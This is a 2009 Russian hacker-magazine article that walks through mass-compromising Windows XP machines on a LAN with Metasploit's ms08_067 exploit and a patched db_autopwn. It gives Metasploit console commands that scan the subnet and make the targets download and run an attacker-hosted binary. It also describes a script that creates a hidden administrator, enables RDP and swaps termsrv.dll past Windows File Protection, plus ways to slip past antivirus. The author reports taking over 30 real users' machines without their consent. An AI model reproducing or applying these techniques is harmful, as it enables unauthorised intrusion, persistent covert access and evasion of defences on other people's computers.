Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 128, АВГУСТ 2009 г.

Автосплойт как образ жизни. Массрутинг в локальной сети

m0r0 (m0r0@inbox.ru)

Что делать, если хочется всего и сразу, да еще и не напрягаться при этом? Правильно, надо найти того, кто сделает все за тебя. Так и в хакпроме - не хочешь выполнять рутинную работу, используй средства автоматизации. Благо, есть Metasploit, голова на плечах и немного фантазии.

Как-то раз у меня возникла идея создать портативную версию метасплойта. Зачем? Ну, представь, что ты порутал какой-нибудь узел в локалке и захотелось тебе окинуть пристальным взглядом всю сеть изнутри. Явно нужна помощь в виде всевозможных x-tool'z, которые надо установить, настроить и т.д. Они начнут следить и всячески гадить в системе. В общем, форменное палево, хотя все зависит от конкретных обстоятельств. Гораздо круче иметь портативные версии, которые можно настроить заранее и тупо скопировать на тачку. Если все правильно сделать, нигде они тебя не выдадут, а по окончании злостных действий их нужно будет просто удалить.

Метасплойт - XP - MS08_067 - db_autopwn

В джентльменском наборе пентестера метасплойт занимает отнюдь не последнее место, позволяя быстро проверить машинки и, по возможности, их поломать. Конечно, не 0-day, но тем не менее. В общем-то, если не брать в расчет установку nmap и, соответственно, winpcap, проблем с созданием портативной сборки не было. Но тут я наткнулся на EasyHack от SKVOZ (][ за май 2009) – про реализацию массрутинга с помощью метасплойта. Тема меня дико заинтересовала, и я решил ее развить.

Честно сказать, с метасплойтом я до этого особенно и не работал. Так, баловался разными сплойтами, не дальше user guide. Но идея массрутинга реально зацепила. Более того, у меня было стойкое ощущение, что после эпидемии conficker найти тачки с юзабельной дыркой проблематично. Напомню, что SKVOZ предлагал использовать связку nmap и метасплойт как раз для массрутинга дыры MS08_067. Ради интереса я повторил эксперимент в своей локалке и был приятно удивлен. Более четверти машин выбросили рутовые шеллы.

Еще больше обрадовал тот факт, что сам эксплойт мог бы быть и другим. Только за 2009 год Microsoft уже опубликовала порядка 20 критических уязвимостей. Одна из них - ms09-001 – также связана с SMB. Эксплойта под нее пока нет, но, возможно, это только вопрос времени.

Однако, не все так сладко. Нарисовалось несколько проблем, которые требовали решения. Допустим, у тебя есть шелл. Классика жанра требует создания нового пользователя и добавления его в локальную группу администраторов (или снятия хешей паролей, или просто замены пароля локального админа). В российских реалиях подавляющее большинство машин в локалке (я говорю о клиентских тачках под WinXP) работают под локализованной осью, а, значит, локальная группа носит название «Администраторы». Попробуй вбить в удаленной консоли «Администраторы» и тебя накроет глубочайшее чувство обиды. Да-да, извечная проблема с кодировками. Консоль работает под cp866, Windows - под cp1251, никсы и вовсе под Koi8-r или Unicodе. Метасплойт же и нагрузки, типа meterpreter, в принципе не понимают русскую локаль. Отсюда на ровном месте мы получаем нехилую проблему.

В сетке эта тема достаточно широко обсуждается. В конечном итоге все ссылаются на один и тот же патч (trac.metasploit.com/ticket/253). Я накладывал патч, пробовал разные кодировки, но ни черта не получилось. Может, получится у тебя, но меня эта проблема окончательно добила, и я решил искать нормальное решение.

Скажи мне, как тебя зовут

Итак, встала задача добавления пользователя в локальную группу администраторов посредством полученной консоли в условиях невозможности использовать символы кириллицы. План действий таков: пишем скрипт, реализующий необходимый функционал, каким-то образом заливаем его на подопытную тачку и исполняем. Скрипты я предпочитаю писать на AutoIT, так что открываем SciTe из поставки AutoIT и начинаем ваять. При этом хотелось бы сделать версию скрипта, независящую от локали, – то есть скрипт должен уметь автоматически определять название локальной группы администраторов.

Известно, что системные группы в винде имеют предопределенные SID, в частности, SID группы администраторов имеет значение S-1-5-32-544. Для получения названия по SID предоставляется API-функция LookupAccountName, экспортируемая библиотекой AdvAPI32.dll. В автоит модуль Security.au3 предоставляет соответствующую функцию-обертку _Security__LookupAccountName. Этой функцией мы и воспользуемся (смотри файл user.au3 на DVD).

Вызов TraySetState с параметром 2 блокирует появление иконки AutoIT в трее. Далее определяется имя группы администраторов, создается пользователь и добавляется в эту группу. Последний вызов модифицирует реестр, чтобы пользователь отсутствовал в списке интерактивного входа XP. Компилируем скрипт в exe-файл и проверяем на виртуалке. Если все в порядке, двигаемся дальше.

В качестве транспорта поначалу я думал использовать SMB. Мы находимся в той же сетке, что и жертва, – так почему бы не расшарить у себя папку и не подложить туда файлик user.exe? Не видя никаких проблем, я так и поступил. Но монтирование папки с удаленной системы ни в какую не получалось - видимо, после эксплуатации сервис начинал работать неправильно. Ну да ладно, в винде по умолчанию встроен консольный клиент ftp. Я поднял на тачке ftp-сервер (портативный FileZilla), настроил анонимный вход, а на удаленной тачке в папке %temp% строка за строкой прописал ftp-скрипт для подключения к моему серваку и получения файла. Далее в консоли появился вызов ftp.exe с ключом -s, и файл user.exe оказался на предназначенном ему месте. После запуска в системе появился пользователь с нужными правами.

Таким образом, принципиально проблема решается несложно. Впрочем, чем дальше, тем больше хочется. Вбивать каждый раз FTP’шный скрипт, качать и запускать файл - идеологически крайне далеко от поставленной задачи автосплойтинга. Кроме того, доступ из консоли в винде - совсем не так круто как в никсах, большинство утил просто не будут работать без графики. Так что, будем шаманить в попытке открыть доступ к рабочему столу. Вариантов, в принципе, всего два. Это – расшаривание стола (типа Radmin, VNC и т.д.) и использование терминальных служб. Первый для клиентских машин – совсем и не вариант, ибо очень палится. С RDP в XP вообще тухло: при инициации удаленного подключения локальный пользователь будет выброшен из активной сессии. Но не надо отчаиваться, выход есть.

Разрушители легенд

Чем думают ребята из Redmond'а, я не знаю, но порой их решения поражают воображение. Если в серверных ОС мы имеем человеческий доступ по RDP, то в клиентских - полная лажа. Удаленный доступ в XP не уживается с локальным, и только один из пользователей может оставаться активным (в Home Edition, кстати, терминальной службы вообще нет). Зачем это сделано - большая загадка, потому что вряд ли кто-то будет только из-за этого покупать серверную ось, а неудобств доставляет немеряно, особенно в нашем случае. В одном из бета-релизов XP такого ограничения не было, поэтому для его снятия достаточно подменить библиотеку termsrv.dll и перезагрузиться. На словах просто, на деле - нет. В сети различных патчеров, как грязи, но все они работают, прямо скажем, хреново, да и то – только если их запускать из интерактивной сессии и иметь доступ к рабочему столу. Дело в том, что системные dll охраняются системой Windows File Protection. Если доступен установочный дистрибутив (с CD или по сети), файлы будут автоматически заменены на оригинальные. Если нет, будет выброшено предупреждение о недоступности диска и предложение вставить диск либо принять новый файл. И хотя название файла не пишется, надо быть полным дауном, чтобы ответить «Да», на что я, естественно, полагаться не буду. Один из методов обхода заключается в необходимости загрузки в безопасном режиме, но удаленно, к сожалению, этого не сделаешь.

Поэтому все патчеры идут лесом, и мы будем ваять собственный, который подменял бы библиотеку из неинтерактивной сессии, да и еще как-то справлялся с защитой файлов. Первая часть тривиальна, а вот со второй сложнее. Надо отследить появление окна и эмулировать нажатия на нужные кнопки. Положим, код для этого мы написали, но, запустив его из консоли metasploit, мы дико обломаемся, так как, не имея доступа к рабочему столу, окно он, естественно, не поймает, и никакие сигналы послать не сможет. На выручку, как обычно, приходит планировщик задач, позволяющий запускать проги в интерактивном режиме.

Идея в том, чтобы поставить задачу эмуляции пользовательских действий на выполнение в интерактивном режиме. Далее – дождаться ее запуска и уже потом подменять нужные файлы. Смотри на DVD полный код скрипта под названием final.au3, а я тем временем поясню, что к чему.

Я весь функционал засунул в один файл, поэтому сначала проверяю, с какими аргументами запущен бинарник. Если присутствует ключ fsp, значит, будем ждать появления окна и щелкать по кнопкам. Определить идентификационные данные окна и кнопок можно с помощью Au3Info из сборки AutoIT. После этого я отправляю машину в перезагрузку, дав юзеру 2 минуты на сохранение результатов работы.

Если ключ fsp не задан, скрипт выполняет свою основную задачу. Сначала инициализируются необходимые переменные и осуществляется работа по созданию нового администратора. Затем производятся телодвижения касательно реестра и нетшелла, цель которых – открытие доступа к RDP. Дальше проверяется версия ОС и, если она не XP, работа скрипта прекращается. Если же на узле установлена XP, с помощью sc поднимается сервис планировщика, и на выполнение ставится наш же скрипт, но с ключом fsp. Подождав, пока планировщик запустит задачу, скрипт реализует подмену библиотеки. Для этого переименовывается текущая dll (если запущена служба TermService, библиотека будет заблокирована, и удалить ее не получится), а новая dll копируется в %systemroot%system32DLLCache (чтобы невозможно было восстановить исходную версию из кэша), и, наконец, подменяется сама библиотека в %systemroot%system32.

После сборки я упаковал собранный экзешник и библиотеку в самораспаковывающийся архив. Архив настроил на распаковку в %temp%, автоматическую перезапись всех файлов (кстати, не перезаписывает - доказано), и запуск %temp%final.exe по окончании распаковки. Хочешь протестировать? Бери psexec и запусти архив на удаленной машине. Через примерно три минуты подключайся по RDP. У меня все получилось, так что двигаемся дальше.

Ужасный SMB

При всей своей простоте и удобстве использования SMB - жутко глючная штука. К тому же, из всех технологий, реализованных Microsoft, это наверное, одна из самых корявых (не считая осла). Тот же метасплойт несет в себе 14 сплойтов для smb; не за горами и новые дырки. Ну а мы пока воспользуемся ms08_067, как наиболее свежей и, пока еще, достаточно пробивной. Проблема кроется в библиотеке netapi32.dll, а точнее, в функции wcscat (по крайней мере, так ее использовал conficker). Для удаленного доступа используется RPC-вызов с UUID 4b324fc8-1670-01d3-1278-5a47bf6ee188, то есть – обращение к интерфейсу srvsvc.

Чтобы не мучить пользователей локалки, было решено создать тестовый стенд. Я накатил образ винды на VmWare с обновлениями, вышедшими до октября 2008 года (тогда появился патч), немного его подстроил и клонировал в трех вариантах. Итак, получена локальная минисеть, на которой можно оттачивать мастерство автосплойта.

Моим удивлению и досаде не было предела, когда попытка применить метасплойтовский ms08_067 окончилась неудачей! Та же история постигла и милвормовский вариант, причем последний выплюнул ошибку «Make SMB Connection error:53 (network path was not found)». Я подумал, что виноват файер, отключил его и попробовал заново. Ситуация немного изменилась, но была далека от идеала. Метасплойт неправильно определил сервис пак – «Fingerprint: Windows XP Service Pack 2+ - lang:Russian», хотя у меня был SP3. Чтобы понять, что это значит, я немного пошарил по исходникам.
Как итог, если в sp возвращается строка со знаком «+», значит, сервис пак тупо не удалось определить. Что ж, выбираем в качестве цели конкретную версию (Windows XP SP3 Russian (NX)) и пробуем заново. Опять облом – «Exploit failed: The server responded with error: STATUS_OBJECT_NAME_NOT_FOUND (Command=162 WordCount=0)». Эта ошибка навевала мысль о невозможности подключения к пайпу.

Я включил общий доступ к файлам и в случае автоопределения версии получал следующий результат – «Selected Target: Windows XP SP0/SP1 Universal - Exploit failed: The server responded with error: STATUS_OBJECT_NAME_NOT_FOUND (Command=162 WordCount=0)». Уже другое, но все равно не то. В случае явного указания цели эксплойт также не работал. Однако если сменить пайп с BROWSER на SRVSVC, можно получить заветный шелл. Конечно, здорово, но для реализации нужно заранее знать версию операционной системы на удаленной машине, что для автосплойта совсем не катит. Но ведь я пробовал сплойт на локалке, и он работал!

Оставалась последняя надежда - расшарить какую-нибудь папку. Это ничуть не изменило картину. Я готов уже был рвать на себе волосы и крушить-ломать все подряд. От бессилия я стал гуглить и наткнулся на какой-то баглист, в котором парень писал о жутких терках с фаером. Тогда так. Запускаем и сразу же останавливаем чудо-мега-фаер мелкомягких… Эксплойт работает, как миленький! Причем на обоих пайпах одинаково хорошо определяет версии сервис пака и создает любезные глазу сессии.
Итак, с тестовой настройкой я определился, расклонировал систему и получил стенд из трех уязвимых машин.

Нужен транспорт

Для реализации автоматической системы эксплуатации необходимо обеспечить транспорт и запуск созданного бинарника на уязвимых системах. Окинув взглядом доступные нагрузки, я радостно потер руки и принялся окучивать нагрузку windows/upexec/bind_tcp. Ее цель как раз и состоит в загрузке файла на хост с последующим исполнением. Увы, радость быстро улетучилась, когда я обнаружил, что ни хрена она не пашет. Позже я выяснил, что в никсовой версии метасплойта все работает на ура, однако я подразумеваю запуск метасплойта на поломанной виндовской машине, следовательно, нужно искать другие варианты.

Выходом стало использование нагрузки windows/download_exec. Для этого необходим доступный Web-сервер, куда надо положить созданный бинарник. Сервак можно поднять на самой машине, например, используя XAMPP. Я так и поступил. URL бинарника указываем в одноименном параметре нагрузки и запускаем эксплойт. На выходе получаем ошибку – «Exploit failed: No encoders encoded the buffer successfully». Все правильно: download_exec представляет собой цельную нагрузку, которая не умещается в буфер сплойта, поэтому нужно использовать stager, например, download_exec/bind_tcp. Проводим аналогичные настройки и получаем нужный результат. Через пару минут я мог коннектиться по RDP с админскими правами, не выбивая текущего юзера.

Мое внимание привлек тот факт, что задание оставалось висеть, а сессия так и не создавалась. Для единичного воздействия это вполне нормально, но при автосплойте сети мы получим большие проблемы. Во-первых, модуль db_autopwn выполняется многопоточно и имеет ограничение на количество одновременно выполняемых заданий, которое по умолчанию равно 5. Это значит, что при успешной эксплуатации 5 узлов, остальные будут бесконечно и бестолково болтаться в очереди. Во-вторых, после прогона db_autopwn, неплохо было бы иметь список порутанных узлов, который удобно получать по команде «sessions –l». Конечно, эти ограничения не так уж и существенны, но хочется же все сделать красиво, – поэтому я решил немного подправить код download_exec с тем, чтобы он все-таки приводил к созданию сессии.

Код нагрузки находится по адресу %appdata%msf32modulespayloadssingleswindowsdownload_exec.rb и предельно прост. Очевидно, что сессия не создается по причине того, что нагрузка просто не предназначена для создания шелла. Это легко поправить! Достаточно добавить параметр session со значением Msf::Sessions::CommandShell. Исправленный исходник ждет тебя на диске.

Не боги горшки обжигают

Последнее, что осталось сделать - это научить функцию db_autopwn применять нагрузку download_exec. Если помнишь, в своем изихаке SKVOZ предлагал использовать ключ «-b», который указывает, что будет использоваться bind-шелл. Для нас это вообще не имеет смысла, так как ручками мы работать не хотим. Необходимо переправить бинарник на уязвимую тачку и выполнить его. Из справки по функции видно, что параметров, отвечающих за использование той или иной нагрузки, нет. db_autopwn умеет только привязывать шелл или создавать реверс-коннект. Причем из исходников модуля db (кури файл %appdata%msf32libmsfuiconsolecommand_dispatcherdb.rb) становится очевидно, что это даже не meterpreter, а generic шелл. В погоне за универсальностью разрабы оставили нас не у дел, так что для реализации моего злого замысла я решил захачить модуль и реализовать возможность применения произвольной нагрузки.

Как и в случае с модулем download_exec, на диске тебя ждет пропатченная версия db.rb; на этом же DVD ищи и сам патч. Хотелось все сделать по-взрослому и красиво, так что перво-наперво я модифицировал вывод справки, добавив в него пункт, отвечающий за описание нового параметра «-P». Логика работы следующая: если установлен параметр «-P», будет применена указанная нагрузка; в противном случае модуль работает так же, как и оригинальный вариант.

Для задания параметров эксплойта или нагрузки я предлагаю два варианта. Либо использовать переменные, либо первоначально настроить модуль и сохранить его состояние. Параметры будут сохранены в %appdata%.msf3config и использованы по умолчанию при вызове модуля. Мне больше нравится второй вариант, поэтому в графическом интерфейсе я выбрал эксплойт ms08_067 и настроил его следующим образом:

  • TARGET=0 (автоматическое определение);
  • PAYLOAD=windows/download_exec/bind_tcp;
  • URL=http://172.16.1.10/st.exe.

Здесь 172.16.1.10 - адрес машины, на которой поднят Web-сервер, а st.exe - зловещий бинарник, который будет загружаться на конечные узлы. Итак, все готово, пора сплойтить.

Короли сети

Сначала я удостоверился, что все работает, на тестовой сети. После ввода нужных команд все три машины ушли в перезагрузку, а затем радостно встречали меня по RDP. Пора приступать к полномасштабным испытаниям.

Запускаем консоль metasploit и генерим следующие команды:

Команды на запуск автосплойта

load db_sqlite3
db_create
db_nmap -sT -PN -PS445 -p445 172.16.1.0/24
setg URL http://172.16.1.10/st.exe
db_autopwn -e -p -P windows/download_exec/bind_tcp -m ms08_067

С замиранием духа я нажал <ENTER> и пошел курить. Я человек добрый и дал юзверям две минуты на сохранение результатов из безумно важной деятельности. Вернувшись к компу и набрав в консоли «sessions –l», я увидел все те же 30 машин, что и при первом эксперименте. Сохранив результаты в блокноте, я вооружился mstsc и принялся проверять качество проделанной работы. Блестяще! Я мог рутать 30-ю машинами, затратив на это всего 5 минут. Особо меня обрадовал тот факт, что ни ESET NOD32 4, ни Dr.Web даже не ругались и дали спокойно осуществиться моим планам. Позже я узнал, что пропалился на Outpost и Kaspersky Anti-Hacker.

А теперь посчитаем. NMAP нашел 116 узлов с открытым портом 445, из которых мне очень быстро достались 30. Больше четверти узлов в локалке попались, причем не просто так, а с нормальным графическим интерфейсом и практически без особых с моей стороны усилий! Круто, не так ли? При необходимости можно было вручную порутать еще, подбирая нужный сервис пак на пайпе SRVSVC.

Нет ничего невозможного, хакер!

Уже реализовав свои злостные планы, я наткнулся на ачате на статью одного чела (forum.antichat.ru/thread99665.html), который описывал, как получать дедики с использованием метасплойта. Там он гневно говорил о парнях, которые думают, что можно получить дедик одним движением руки. Цитирую: «если кто-то хочет жать на кнопку «применить в Местаслойте» и чтобы он вам выкидывал готовые деды, ИДИТЕ ЛЕСОМ, дабы не сказать грубей!». Мне кажется, он не прав :). Никогда не говори «невозможно», пока сам не пошевелишь извилинами и не попробуешь. Учись беречь себя и автоматизировать рутинные действия настолько, насколько это возможно! Удачи, хакер, слушай метал и будь счастлив! И да пребудет с тобой черная магия автосплойта!

DVD

На диске ты найдешь:

  1. Исходные коды скрипта final.au3.
  2. «Правильную» версию библиотеки termsrv.dll.
  3. Конечный бинарник в виде самораспаковываемого архива.
  4. Пропатченные исходники метасплойта, а также сами патчи.

WWW

При создания автосплойта не обойтись без метасплойта: metasploit.org.

INFO

Чтобы быстро поднять Web- или FTP-сервер можно воспользоваться специальными сборками, о которых писалось в статье «Сервер в один клик!» в февральском ][. Лично мне больше по душе XAMPP (apachefriends.org/en/xampp.html).

Статья не претендует на полноту, а представляет собой некий PoC. Рассмотренные методы можно серьезно усовершенствовать, в частности, реализовать удаление всех временных файлов, осуществлять проверку версии termsrv.dll в системе, использовать существующие учетные записи, например, support_388945a0, а также оформить все действия в консоли метасплойта в виде одного скрипта. Если тебя посетит вдохновение, пиши на мыло, буду рад любой обратной связи.

Содержание
ttfb: 661.31401062012 ms